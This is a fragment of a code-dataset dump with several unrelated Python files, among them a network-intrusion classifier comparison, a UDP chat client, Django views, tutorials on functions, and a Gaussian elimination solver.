range(col_num-1)]] # 切分训练集的41列特征\r\nfeature_num = 41 # 用于训练模型的特征数目\r\nx = train_file[[i+1 for i in range(feature_num)]]\r\ny = train_file[[col_num]] # 训练集最后一列:异常类型\r\n\r\nunlabeled_test_file = pd.read_csv(r'data\\test_data_10_percent_corrected_multi_classify_unlabeled.csv')\r\ncol_num1 = unlabeled_test_file.shape[1]\r\nunlabeled_test_file.columns = [k+1 for k in range(col_num1)]\r\nprint(\"无标签测试集的维度:\", unlabeled_test_file.shape)\r\n\r\nlabeled_test_file = pd.read_csv(r'data\\test_data_10_percent_corrected_multi_classify_labeled.csv')\r\nlabeled_test_file.columns = [j+1 for j in range(labeled_test_file.shape[1])]\r\ncol_num2 = labeled_test_file.shape[1]\r\ny_test = labeled_test_file[[col_num2]]\r\nprint(\"带标签测试集的维度:\", labeled_test_file.shape)\r\n\r\nx_train = x\r\nx_test = unlabeled_test_file\r\ny_train = y\r\n\r\nvec = DictVectorizer(sparse=False)\r\nx_train = vec.fit_transform(x_train.to_dict(orient='record'))\r\nx_test = vec.transform(x_test.to_dict(orient='record'))\r\nprint(vec.feature_names_, \"\\n\", x_train[:-1])\r\n\r\n\"\"\"dtc = DecisionTreeClassifier(class_weight=None, criterion='gini', max_depth=None, max_features=None,\r\n max_leaf_nodes=None, min_impurity_decrease=0.0, min_impurity_split=None,\r\n min_samples_leaf=1, min_samples_split=2, min_weight_fraction_leaf=0.0, presort=False,\r\n random_state=None, splitter='best')\"\"\"\r\n\r\n# 建立空列表,将每次的精确度存入列表中,便于求解多次的平均值。\r\ndtc_accuracy_score = []\r\nnbc_accuracy_score = []\r\nrfc_accuracy_score = []\r\nlgr_accuracy_score = []\r\n\r\n# 迭代三次,检验分类器模型的优劣。\r\nfor i in range(3):\r\n print('第'+str(i+1)+'次实验:')\r\n # 决策树分类器\r\n dtc = DecisionTreeClassifier()\r\n dtc = dtc.fit(x_train, y_train)\r\n dtc_y_pre = dtc.predict(x_test)\r\n dtc_accuracy_score.append(accuracy_score(dtc_y_pre, y_test))\r\n # print(\"决策树分类精确度:\", accuracy_score(dtc_y_pre, y_test))\r\n print(\"决策树:\", \"\\n\", classification_report(dtc_y_pre, y_test, target_names=[\"normal\", \"smurf\", \"others\"]))\r\n # print(dtc_accuracy_score)\r\n\r\n # 朴素贝叶斯分类器\r\n nbc = GaussianNB()\r\n nbc = nbc.fit(x_train, y_train)\r\n nbc_y_pre = nbc.predict(x_test)\r\n nbc_accuracy_score.append(accuracy_score(nbc_y_pre, y_test))\r\n # print(\"朴素贝叶斯分类精确度:\", accuracy_score(y_test, nbc_y_pre))\r\n print(\"朴素贝叶斯:\", \"\\n\", classification_report(nbc_y_pre, y_test, target_names=[\"normal\", \"smurf\", \"others\"]))\r\n\r\n # 随机森林\r\n rfc = RandomForestClassifier(n_estimators=150, random_state=2)\r\n rfc = rfc.fit(x_train, np.array(y_train).ravel())\r\n rfc_y_pre = rfc.predict(x_test)\r\n rfc_accuracy_score.append(accuracy_score(rfc_y_pre, y_test))\r\n # print(\"随机森林分类精确度:\", accuracy_score(y_test, rfc_y_pre))\r\n print(\"随机森林:\", \"\\n\", classification_report(rfc_y_pre, y_test, target_names=[\"normal\", \"smurf\", \"others\"]))\r\n\r\n # 逻辑回归\r\n lgr = LogisticRegression()\r\n lgr = lgr.fit(x_train, np.array(y_train).ravel())\r\n lgr_y_pre = lgr.predict(x_test)\r\n lgr_accuracy_score.append(accuracy_score(lgr_y_pre, y_test))\r\n # print(\"逻辑回归分类精确度:\", accuracy_score(y_test, lgr_y_pre))\r\n print(\"逻辑回归:\", \"\\n\", classification_report(lgr_y_pre, y_test, target_names=[\"normal\", \"smurf\", \"others\"]))\r\n\r\n# 3次迭代后,不同分类器模型的平均精确度指标值。\r\nprint(\"决策树分类精确度:\", mean(dtc_accuracy_score))\r\nprint(\"朴素贝叶斯分类精确度:\", mean(nbc_accuracy_score))\r\nprint(\"随机森林分类精确度:\", mean(rfc_accuracy_score))\r\nprint(\"逻辑回归分类精确度:\", mean(nbc_accuracy_score))\r\n\r\n# 运行速度较慢 不推荐\r\n\"\"\"# 梯度提升决策树\r\n gbc = GradientBoostingClassifier(random_state=10, subsample=0.8)\r\n gbc = gbc.fit(x_train, np.array(y_train).ravel())\r\n gbc_y_pre = gbc.predict(x_test)\r\n print(\"梯度提升决策树精确度:\", accuracy_score(y_test, gbc_y_pre))\r\n print(\"梯度提升决策树:\", \"\\n\", classification_report(gbc_y_pre, y_test, target_names=[\"normal\", \"smurf\", \"others\"]))\"\"\"\r\n\r\n\r\n\r\n","sub_path":"multi_classification.py","file_name":"multi_classification.py","file_ext":"py","file_size_in_byte":5142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"464010591","text":"from sklearn.model_selection import ParameterGrid\nfrom A2C2 import main\n\ndef a2c2_test_p1():\n n_episodes = 100000\n experiment_group_name = \"A2C2_CN\"\n work_dir = \"EXPERIMENTS/\" + experiment_group_name\n plot_dir = \"CENTRAL_TENSORBOARD/\" + experiment_group_name\n\n \n parmeter_grid1 = {\n \"env_name\": [\"cooperative_navigation-v1\"],\n \"n_agents\": [2, 4],\n \"network_decoder_type\": [\"mlp\"],\n \"comm_zero\": [False],\n \"share_critic\": [False],\n \"share_actor\": [True], #[False],\n \"share_comm_network\": [False]\n }\n\n\n grid1 = ParameterGrid(parmeter_grid1)\n \n for param in grid1:\n args = []\n args = [\"--working_directory\", work_dir, \"--alternative_plot_dir\", plot_dir]\n args.extend([\"--n_episodes\", str(n_episodes)])\n # args.extend([\"--n_workers\", str(workers)])\n # args.extend([\"--map_shape\", tuple((5,5))])\n name = \"CN_\"+ param[\"env_name\"][-2:] \\\n + \"_agnts\" + str(param[\"n_agents\"]) + \"_PS_cr_\" + str(param[\"share_critic\"]) \\\n + \"_PS_ac_\" + str(param[\"share_actor\"]) + \"_PS_cNet_\" + str(param[\"share_comm_network\"]) \\\n + \"_comm_zero_\" + str(param[\"comm_zero\"])\n\n args.extend([\"--n_agents\", str(param[\"n_agents\"])])\n args.extend([\"--name\", name])\n args.extend([\"--env_name\", param[\"env_name\"]])\n args.extend([\"--network_decoder_type\", param[\"network_decoder_type\"]])\n if param[\"share_critic\"]: args.extend([\"--share_critic\"])\n if param[\"share_actor\"]: args.extend([\"--share_actor\"])\n if param[\"share_comm_network\"]: args.extend([\"--share_comm_network\"])\n # args.extend([\"--share_actor\", param[\"share_actor\"]])\n # args.extend([\"--share_comm_network\", param[\"share_comm_network\"]])\n if param[\"comm_zero\"]: args.extend([\"--comm_zero\"])\n #args.extend([\"--comm_zero\", param[\"comm_zero\"]])\n\n #print(\"param[share_critic] is: {} type is {}\".format(param[\"share_critic\"], type(param[\"share_critic\"])))\n\n #print(\"Args in test_a2c2 {}\".format(args))\n \n main(args)\n\nif __name__ == \"__main__\":\n a2c2_test_p1()\n","sub_path":"Experiments/test_a2c2_ex.py","file_name":"test_a2c2_ex.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"397468860","text":"def func(a, b=5, c=10):\n\tprint('a is ',a, 'and b is', b, 'and c is',c)\nfunc(a, 7)\nfunc(25, c=24)\nfunc(c=50, a=100)\n'''\n名为 func 的函数有一个没有默认参数值的参数,后跟两个各自带有默认参数值的参数。\n在第一次调用函数时, func(3, 7) ,参数 a 获得了值 3 ,参数 b 获得了值 7 ,而 c\n获得了默认参数值 10 。\n在第二次调用函数时, func(25, c=24) ,由于其所处的位置,变量 a 首先获得了值 25。然\n后,由于命名——即关键字参数——指定,变量 c 获得了值 24 。变量 b 获得默认参数值5\n在第三次调用函数时, func(c=50, a=100) ,我们全部使用关键字参数来指定值。在这里要注\n意到,尽管 a 在 c 之前定义,但我们还是在变量 a 之前指定了变量 c \n\n值是可以赋予的,是可以变的\n\n'''\n","sub_path":"练习代码片段/function_keyword.py","file_name":"function_keyword.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"622077129","text":"import socket\nimport threading\nimport json\nimport sys\nimport os\nimport time\n\nserver = '192.168.1.2'\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nport = 1234\nLIST_USERS = 'list_users'\nMESSAGE_RECEIVED = 'message_received'\nSEND_FILE = 'send_file'\nRECEIVE_FILE = 'receive_file'\nUSER_BLOCKED = 'user_blocked'\n\ndef main():\n\tserver_lock = threading.Lock()\n\ts.connect((server, port))\n\n\tthread = threading.Thread(name='receiver', target=receiver, args=[server_lock], daemon=True)\n\tthread.start()\n\tserver_thread = threading.Thread(name='listener', target=listener, daemon=True, args=[server_lock])\n\tserver_thread.start()\n\n\tprint('-------- Welcome to the greatest minichat -------')\n\tprint_commands()\n\n\twhile True:\n\t\tline = input('>>')\n\n\t\tif (len(line) == 0):\n\t\t\tcontinue\n\n\t\tline.strip()\n\t\tline = line.split(' ')\n\t\treq = None\n\n\t\tif (line[0] == 'exit' or line[0] == 'ex'):\n\t\t\treq = {'type' : 'exit'}\n\t\t\tsend_request(req, server_lock)\n\t\t\tbreak\n\n\t\telif (line[0] == 'list_commands' or line[0] == 'lc'):\n\t\t\tprint_commands()\n\n\t\telif (line[0] == 'set_name' or line[0] == 'sn'):\n\t\t\tif (len(line) != 2):\n\t\t\t\tprint('ERROR -> \\'set_name\\' command expects 1 argument')\n\t\t\t\tcontinue\n\n\t\t\treq = {\n\t\t\t\t'type': 'set_name',\n\t\t\t\t'data': {\n\t\t\t\t\t'content': line[1]\n\t\t\t\t}\n\t\t\t}\n\t\t\tsend_request(req, server_lock)\n\n\t\telif (line[0] == 'list_users' or line[0] == 'lu'):\n\t\t\treq = { 'type' : 'list_users' }\n\t\t\tsend_request(req, server_lock)\n\n\t\telif (line[0] == 'send_message' or line[0] == 'sm'):\n\t\t\tif (len(line) < 3):\n\t\t\t\tprint('ERROR -> \\'send_message\\' command expects 3 arguments')\n\t\t\t\tcontinue\t\n\n\t\t\treq = {\n\t\t\t\t'type': 'send_message',\n\t\t\t\t'data': {\n\t\t\t\t\t'to': line[1],\n\t\t\t\t\t'content': ' '.join(line[2:])\n\t\t\t\t}\n\t\t\t}\n\t\t\tsend_request(req, server_lock)\n\n\t\telif (line[0] == 'send_file' or line[0] == 'sf'):\n\t\t\tif (len(line) != 3):\n\t\t\t\tprint('ERROR -> \\'send_file\\' command expects 3 arguments')\n\t\t\t\tcontinue\n\n\t\t\treq = {\n\t\t\t\t'type' : 'send_file',\n\t\t\t\t'data': {\n\t\t\t\t\t'receiver': line[1],\n\t\t\t\t\t'name': line[2]\n\t\t\t\t}\n\t\t\t}\n\t\t\tsend_request(req, server_lock)\n\n\t\telif (line[0] == 'block_user' or line[0] == 'bu'):\n\t\t\tif (len(line) != 2):\n\t\t\t\tprint('ERROR -> \\'send_file\\' command expects 3 arguments')\n\t\t\t\tcontinue\n\t\t\t\n\t\t\treq = {\n\t\t\t\t'type' : 'block_user',\n\t\t\t\t'data' : {\n\t\t\t\t\t'user': line[1]\n\t\t\t\t}\n\t\t\t}\n\t\t\tsend_request(req, server_lock)\n\n\t\telse:\n\t\t\tprint('command not recognized')\n\n\ts.close()\n\texit()\n\ndef send_request(req, server_lock):\n\twith server_lock:\n\t\tprint(server)\n\t\ts.sendto(json.dumps(req).encode('utf-8'), (server, port))\n\ndef send_file(f, server_lock):\n\t#file_length = os.stat(f).st_size\n\tpackage = f.read(1024)\n\t# TODO progress\n\twhile package:\n\t\twith server_lock:\n\t\t\tprint(server)\n\t\t\ttime.sleep(.00005)\n\t\t\ts.sendto(package, (server, port))\n\t\t\tpackage = f.read(1024)\n\tprint('File was sent')\n\treq = {}\n\treq['type'] = 'file_sent'\n\tsend_request(req, server_lock)\n\ndef print_commands():\n\tprint('list_commands \\t\\t\\t\\t\\tprints all the available commands in the chat')\n\tprint('exit \\t\\t\\t\\t\\t\\texit from the chat')\n\tprint('set_name [username] \\t\\t\\t\\tset your chat username')\n\tprint('send_message all|[username] [message] \\t\\tsend message to all or one connected user')\n\tprint('list_users \\t\\t\\t\\t\\tget all connected users in the chat')\n\tprint('send_file [username] [filename]\\t\\t\\tsend file to one connected user')\n\tprint('block_user [username]\\t\\t\\t\\tblock user by username')\n\ndef receiver(server_lock):\n\twhile True:\n\t\ttry: \n\t\t\tres_raw, address = s.recvfrom(1024)\n\t\texcept:\n\t\t\tprint('Connection failed, try again')\n\t\t\tcontinue\n\t\tres = json.loads(res_raw.decode('utf-8'))\n\t\tif (res['type'] == RECEIVE_FILE):\n\t\t\tbase_path = os.path.dirname(__file__)\n\t\t\tpath = os.path.abspath(os.path.join(base_path, 'files', res['data']['name']))\n\t\t\tf = open(path, 'wb')\n\t\t\tres_raw, address = s.recvfrom(1024)\n\t\t\ttry:\n\t\t\t\twhile(res_raw):\n\t\t\t\t\tf.write(res_raw)\n\t\t\t\t\ts.settimeout(2)\n\t\t\t\t\tres_raw, address = s.recvfrom(1024)\n\t\t\texcept socket.timeout:\n\t\t\t\tf.close()\n\t\t\t\tprint('File received, check files folder.')\n\t\t\ts.settimeout(None)\n\n\t\telif (res['type'] == SEND_FILE):\n\t\t\tprint('Sending file')\n\t\t\tbase_path = os.path.dirname(__file__)\n\t\t\tfile_path = os.path.abspath(os.path.join(base_path, 'files' , res['data']['name']))\n\t\t\ttry:\n\t\t\t\tf = open(file_path, 'rb')\n\t\t\texcept:\n\t\t\t\tprint('Error, file not found')\n\t\t\t\tcontinue\n\t\t\tsend_file(f, server_lock)\n\n\t\telif (res['resultCode'] == 500):\n\t\t\tprint(res['error'])\n\n\t\telif (res['resultCode'] == 200):\n\t\t\tif (res['type'] == LIST_USERS):\n\t\t\t\tprint('Online users:')\n\t\t\t\tfor user in res['data']['users']:\n\t\t\t\t\tprint('* {}'.format(user))\n\n\t\t\tif(res['type'] == USER_BLOCKED):\n\t\t\t\tprint(\"Usuario bloqueado\")\n\n\t\t\telif (res['type'] == MESSAGE_RECEIVED):\n\t\t\t\tprint('{} says: {}'.format(res['data']['from'], res['data']['content']))\n\ndef listener(server_lock):\n\tglobal server\n\tglobal s\n\tglobal port\n\tlistener_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\tlistener_sock.bind((\"127.0.0.1\", 1235))\n\twhile True:\n\t\tres_raw, address = listener_sock.recvfrom(1024)\n\t\tnew_ip = res_raw.decode()\n\t\twith server_lock:\n\t\t\tserver = str(new_ip)\n\t\t\tprint(server)\n\t\t\ts.close()\n\t\t\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\t\t\ts.connect((server, port))\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"507228602","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.core.mail import send_mail\n\nfrom .models import Contact\n\ndef contact(request):\n if request.method == \"POST\":\n listing_id=request.POST['listing_id']\n listing=request.POST['listing']\n name=request.POST['name']\n email=request.POST['email']\n phone=request.POST['phone']\n message=request.POST['message']\n user_id=request.POST['user_id']\n realtor_email=request.POST['realtor_email']\n\n #Check is user has made inquery\n if request.user.is_authenticated:\n user_id=request.user.id\n has_contaced=Contact.objects.all().filter(listing_id=listing_id,user_id=user_id)\n\n if has_contaced:\n messages.error(request,'You have already made an enquiry for this property')\n return redirect('/listings/'+listing_id)\n\n contact =Contact(listing=listing,listing_id=listing_id,name=name,email=email,phone=phone,message=message,user_id=user_id)\n contact.save()\n\n #Send Mail\n # send_mail(\n # 'Property Listing Inquery',\n # 'There has been an Inquery from '+listing_title,\n # '' ,\n # [realtor_email,'optional emails'],\n # fail_silently=False\n # )\n\n messages.success(request,'Your request has been submitted. A realtor will get back to you soon')\n return redirect('/listings/'+listing_id)\n","sub_path":"contacts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"560745734","text":"import os.path\nfrom setuptools import setup, find_packages\n\n# The directory containing this file\nHERE = os.path.abspath(os.path.dirname(__file__))\n\n# The text of the README file\nwith open(os.path.join(HERE, \"README.md\")) as fid:\n README = fid.read()\n\nsetup(\n name='paquete_demo',\n version='0.0.2',\n description='Paquete demo.',\n long_description=README,\n long_description_content_type=\"text/markdown\",\n url='https://bitbucket.org/ageabigdata/paquete_demo',\n author='Usuario demo',\n author_email=\"bigdata@agea.com.ar\",\n license=\"MIT\",\n install_requires=[\n 'pandas'\n ],\n packages=find_packages(),\n)\n\n","sub_path":"pypi_install_script/paquete_demo-0.0.2.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"310540183","text":"#!/usr/bin/python\n\nfrom collections import defaultdict\n\nlines = open(\"4.input\").readlines()\n\ns = 0\nfor line in lines:\n l, r = line.strip().split(\"[\")\n fields = l.split(\"-\")\n lets = defaultdict(int)\n letters, id = \"\".join(fields[:-1]), int(fields[-1])\n for let in letters:\n lets[let] += 1\n words = [\"\".join([chr(ord(\"a\") + ((ord(c) - ord(\"a\") + id) % 26)) for c in group]) for group in fields[:-1]]\n if words[0] == \"northpole\":\n print(words, id)\n exp = \"\".join((l for l, n in sorted(sorted(lets.items(), key=lambda i: i[0]), key=lambda i:i[1], reverse=True)[:5]))\n checksum = r[:-1]\n if exp == checksum:\n s += id\nprint(s)\n","sub_path":"4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"647255760","text":"from django.urls import path\n\nfrom pos import views\n\nurlpatterns = [\n path('accounts/login/', views.userlogin, name='userlogin'),\n path('ajaxgetproduct/', views.getProduct, name='ajaxgetproduct'),\n path('dashboard/', views.dashboard, name='dashboard'),\n path('', views.billing, name='billing'),\n path('bs/', views.billing_success, name='billing_success'),\n path('order/', views.order, name='order'),\n\n]\n","sub_path":"pos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"434934854","text":"# A method is a function that is built into an object\nmylist = [1, 2, 3]\n# Examples of methods\nmylist.append(4)\nmylist\nmylist.reverse()\n# Get info on methods\nhelp(mylist.reverse)\n# Explore documentation at docs.python.org, check out standard library\n\n# Bolierplate function\n\ndef name_of_function(param):\n \"\"\"\n Docstring explains function purpose/parameters\n \"\"\"\n # Perform the task\n greeting = 'Hello ' + param \n # Return a value\n return greeting\n\nname_of_function('Paul')\n# See the docstring I created\nhelp(name_of_function)\n\ndef print_hello(name):\n print('hello ' + name)\n\nprint_hello('Paul')\n\n# Since we're printing, the function doesn't actually return anything\n#pylint throws an error, for this line, well done!\n#result = print_hello('Paul')\n#result\n#type(result)\n# If we want to save the output, we have to return it\ndef say_hello(name):\n return 'hello ' + name\n\nresult = say_hello('Paul')\nresult\n\n# functions help solve problems\n# Problem one, see if the word dog is in a string\n# Original version\ndef find_dog(word:str):\n return True if word.find('dog') > -1 else False\n\nfind_dog('I love my cat')\nfind_dog('I love my hotdog')\nfind_dog('DOGS are great')\n\n# A better, non-beginner version\n# Use in, it's simpler\n# Return the boolean value, no need to return True or False\ndef find_dog_better(word:str):\n return 'dog' in word.lower()\n\n# Problem two, translate a word into pig latin\n# If word starts with a vowel, add 'ay' to the end\n# Otherwise, take the first letter, and add it to the \n# end along with 'ay'\n\ndef pig_latin(word:str):\n \"\"\"\n Translate a word into pig latin\n \"\"\"\n word = word.lower()\n first_letter = word[0]\n if first_letter in ['a', 'e', 'i', 'o', 'u']:\n return word + 'ay'\n else:\n return word[1:] + first_letter + 'ay'\n\npig_latin('python')\n# Better version\n# don't forget that a string is a simple data structure, and an iterable!\n# Assign to a variable, and then just return that variable, it's more readable\ndef pig_latin_better(word:str):\n \"\"\"\n Translate a word into pig latin\n \"\"\"\n word = word.lower()\n first_letter = word[0]\n \n if first_letter in 'aeiou':\n pig_word = word + 'ay'\n else:\n pig_word = word[1:] + first_letter + 'ay'\n \n return pig_word\n","sub_path":"03-Methods and Functions/methods-and-functions.py","file_name":"methods-and-functions.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"79346153","text":"\n\nimport networkx as nx\n\nfrom components.constants import PAD_ID, PAD\n\nfrom components.utils.graph import get_parent, get_one_child\n\nclass SynFxtractor(object):\n\n attributes = ['LEMMA',\n 'UPOS',\n 'XPOS',\n 'DEPREL',\n ]\n\n num_attr = len(attributes)\n dummy_node_feature_vec = [PAD_ID for _ in range(num_attr)]\n dummy_node_features = [PAD for _ in range(num_attr)]\n\n @staticmethod\n def extract_node_features(node_id, dg, vocab):\n\n # simple feature set with just this node's features\n target_features = [dg.node[node_id][a] for a in SynFxtractor.attributes]\n # return [vocab.lookup_tok(f) for f in target_features]\n\n # enriched feature set: head, one child, ...\n head_feats = SynFxtractor.parent_feats(node_id, dg, vocab)\n all_features = target_features + head_feats\n # return [vocab.lookup_tok(f) for f in all_features]\n\n child_feats = SynFxtractor.random_child_feats(node_id, dg, vocab)\n all_features = head_feats + target_features + child_feats\n return [vocab.lookup_tok(f) for f in all_features]\n\n\n @staticmethod\n def random_child_feats(node, dg, vocab):\n\n child = get_one_child(dg, node)\n\n if child is None:\n feats = SynFxtractor.dummy_node_features\n else:\n feats = [dg.node[child][a] for a in SynFxtractor.attributes]\n\n return feats\n\n @staticmethod\n def parent_feats(node, dg, vocab):\n\n head = get_parent(dg, node)\n\n if head is None:\n feats = SynFxtractor.dummy_node_features\n else:\n feats = [dg.node[head][a] for a in SynFxtractor.attributes]\n\n return feats\n\n @staticmethod\n def extract_subtree_features(head_node_id, child_node_group, dg, vocab):\n \"\"\"\n Extract features for the head and children nodes.\n\n :param head_node_id:\n :param child_node_group:\n :param dg:\n :param vocab:\n :return:\n \"\"\"\n node_id2_feature_map = {}\n head_node_feats = SynFxtractor.extract_node_features(head_node_id, dg, vocab)\n node_id2_feature_map[head_node_id] = head_node_feats\n for child_node_id in child_node_group:\n node_id2_feature_map[child_node_id] = SynFxtractor.extract_node_features(child_node_id, dg, vocab)\n\n return node_id2_feature_map\n\n @staticmethod\n def extract_tree_features(dg, vocab):\n \"\"\"\n Extract features for the head and children nodes.\n\n :param head_node_id:\n :param child_node_group:\n :param dg:\n :param vocab:\n :return:\n \"\"\"\n return {n:SynFxtractor.extract_node_features(n, dg, vocab) for n in dg.nodes()}","sub_path":"components/data/syn_fxtractor.py","file_name":"syn_fxtractor.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"578378496","text":"\"\"\"\n Nome do arquivo: gaussPivoteamentoParcial.py\n Linguagem: Python3\n\n Descrição: Implementação do Algoritmo de Triangulação de Gauss com Estratégia de Pivoteamento Parcial\n\n Autor: Gabriel Bittencourt Leite\n\"\"\"\n\n# Valor absoluto\ndef abs(n):\n if n < 0:\n return n * (-1)\n return n\n\n\n# Elimina o Pivo da linha \ndef eliminacaoLinhaPivo(A, B, N, linha, linhaPivo, fator):\n for coluna in range(0, N):\n A[linha][coluna] = A[linha][coluna] - fator * A[linhaPivo][coluna]\n\n\n# Troca duas linhas da Matriz dos coeficientes e da Matriz dos termos independentes\ndef trocaLinhas(A, B, N, linha1, linha2):\n aux = A[linha1]\n A[linha1] = A[linha2]\n A[linha2] = aux\n\n aux = B[linha1]\n B[linha1] = B[linha2]\n B[linha2] = aux\n\n\n# Divide a linha pelo pivo\ndef normalizaLinha(A, B, N, pivo, linhaPivo):\n for i in range(0, N):\n A[linhaPivo][i] = A[linhaPivo][i] / pivo\n \n B[linhaPivo] = B[linhaPivo] / pivo\n\n\n# Algoritmo de triangulação de Gauss com estratégia de pivoteamento parcial\ndef triangulacao(A, B, N):\n\n for col in range(0, N):\n pivo = None\n linhaPivo = None\n\n # Seleciona pivô\n for lin in range(col, N):\n\n # Seleciona apenas se for diferente de zero\n if A[lin][col] != 0:\n\n # Seleciona ainda não tiver pivô\n if not pivo:\n pivo = A[lin][col]\n linhaPivo = lin\n \n # Seleciona se elemento atual tem valor absoluto maior que o pivô atual\n elif abs(A[lin][col]) > pivo:\n pivo = A[lin][col]\n linhaPivo = lin\n\n # Toda a coluna é nula\n if not pivo:\n continue\n\n # Troca primeira linha da sub-matriz com a linha do pivo\n trocaLinhas(A, B, N, linhaPivo, col)\n\n # Divide linha pelo pivo (Pivô passa a valer 1)\n normalizaLinha(A, B, N, pivo, col)\n pivo = 1\n linhaPivo = col\n \n # Eliminação de Gauss\n for linha in range(col + 1, N):\n fator = A[linha][col] / pivo\n eliminacaoLinhaPivo(A, B, N, linha, linhaPivo, fator)\n B[linha] = B[linha] - fator * B[col]\n\n \n\n\ndef retrosubstituicao(A, B, N):\n\n # Vetor solução\n S = [0] * N\n\n # Resolve para última incógnita\n S[N-1] = B[N-1] / A[N-1][N-1]\n\n # Resolve para cada linha anterior\n for i in range(N-2, -1, -1):\n acc = 0\n for j in range(N-1, i, -1):\n acc += A[i][j] * S[j]\n S[i] = (B[i] - acc) / A[i][i]\n\n # Imprime a solução\n for i in range(N):\n print(\"X%d = %10.5f\" %(i, S[i]))\n\n\ndef imprimeSistema(A, B, N):\n for i in range(N):\n print(\" [\", end=\" \")\n for j in range(N):\n print(\"%10.5f\" %(A[i][j]) , end=\" \")\n print(\"] [%10.5f]\" %(B[i]))\n print()\n\n\n# Matriz dos coeficientes\nA = [[1, 4, 3],\n [2, 5, 4],\n [1, -3, -2]]\n\n# Matriz dos termos independentes\nB = [1,\n 4,\n 5]\n\n# Número de equações\nN = len(A)\n\nprint(\"Antes da triangulação\")\nimprimeSistema(A, B, N)\n\ntriangulacao(A, B, N)\n\nprint(\"Após a triangulação\")\nimprimeSistema(A, B, N)\n\nprint(\"Solução do Sistema\")\nretrosubstituicao(A, B, N)\n","sub_path":"MetodoGaussPivoteamentoParcial/gaussPivoteamentoParcial.py","file_name":"gaussPivoteamentoParcial.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"114856491","text":"from .scribble import Scribble\nfrom .numbers import Number, RandomNumber\nimport math_blocks.algebra.core\n\nclass Chain(Scribble):\n def __init__(self, items, sign=True, board=None, log=True):\n mb_items = []\n blocks = []\n for item in items:\n if isinstance(item, RandomNumber):\n item = Number(item, board=item.board)\n if not isinstance(item, Scribble):\n raise ValueError(\"math_board chain need a math_board block objects only\")\n\n mb_items.append(item)\n blocks.append(item.block)\n \n if board == None:\n board = mb_items[0].board\n\n if log:\n board_message = f\"{' '.join(str(item.math_board_id) for item in mb_items)}~{'T' if sign else 'F'}|c|_i_\"\n else:\n board_message = None\n\n block = math_blocks.algebra.core.Chain(items=blocks, sign=sign)\n\n Scribble.__init__(self, block=block, board=board, message=board_message)\n\n\n def ripple_sign(self):\n board_message = f\"{self.math_board_id}|c|rs\"\n block = self.block.ripple_sign()\n \n return Scribble(self, block=block, board=self.board, message=board_message)\n\n\n\n","sub_path":"blocks/chains.py","file_name":"chains.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"104905504","text":"import numpy as np\nfrom sklearn import datasets\nfrom sklearn.mixture import GMM\nfrom scipy.stats import multivariate_normal\nfrom sklearn.cross_validation import train_test_split\nfrom tools.gm_tools import gaussian_mixture_sample, gm_params_generator, gauss_mix_density\n\nclass Benchmark():\n \"\"\"\n A benchmarking tool to evaluate the performance of a clustering algorithm on gaussian mixtures\n with a regularization parameter compared to EM on different datasets.\n 1- Generate dict of dataset with format :\n {\"dataset_name\": {\"data\": data_array, \"target\": target_array, \"params\":{} }}}\n 2- Loop on each dataset and evaluate the algorithm and EM\n a- for an algorithm without the param k and a regularization param lambda_param select the best lambda by \n - splitting the dataset in two sets, estimate the params with the algorithm on the first dataset\n for different values of lambda_param\n - select the lambda_param that maximize the likelihood on the 2nd dataset\n - return this lambda_param and related parameters estimators.\n 3- Generate a visualization of the results\n \"\"\"\n def __init__(self,\n algo,\n gaussian_mix_K = [2, 4],\n gaussian_mix_dim = 4,\n gaussian_mix_N = 1000,\n lambda_param_list = [0.5, 1, 5, 10]\n ):\n self.gaussian_mix_K = gaussian_mix_K\n self.gaussian_mix_dim = gaussian_mix_dim\n self.gaussian_mix_N = gaussian_mix_N\n self.lambda_param_list = lambda_param_list\n\n def run(self):\n pass\n\n def dataset_gen(self):\n \"\"\"\n Dataset generation of :\n - Gaussian mixture with different values of k\n - Iris dataset from sklearn\n \"\"\"\n\n dataset_list = []\n #Generating a gaussian mixture sample\n def gaussian_mix_gen(k, d, N):\n pi_, means_, covars_ = gm_params_generator(d, k)\n X,y = gaussian_mixture_sample(pi_, means_, covars_, N)\n return {\"gaussian_mix_\"+ str(k): {\n \"data\": X,\n \"target\": y,\n \"params\": {\n \"covars\": covars_,\n \"centers\": means_,\n \"weights\": pi_,\n \"clusters\": k}}}\n\n dataset_list += [gaussian_mix_gen(k, self.gaussian_mix_dim, self.gaussian_mix_N)\n for k in self.gaussian_mix_K]\n\n #Iris dataset \n dataset_list.append({\"iris\": {\n \"data\": datasets.load_iris().data,\n \"target\": datasets.load_iris().target}\n }\n )\n\n #final dataset\n final_dataset = {}\n 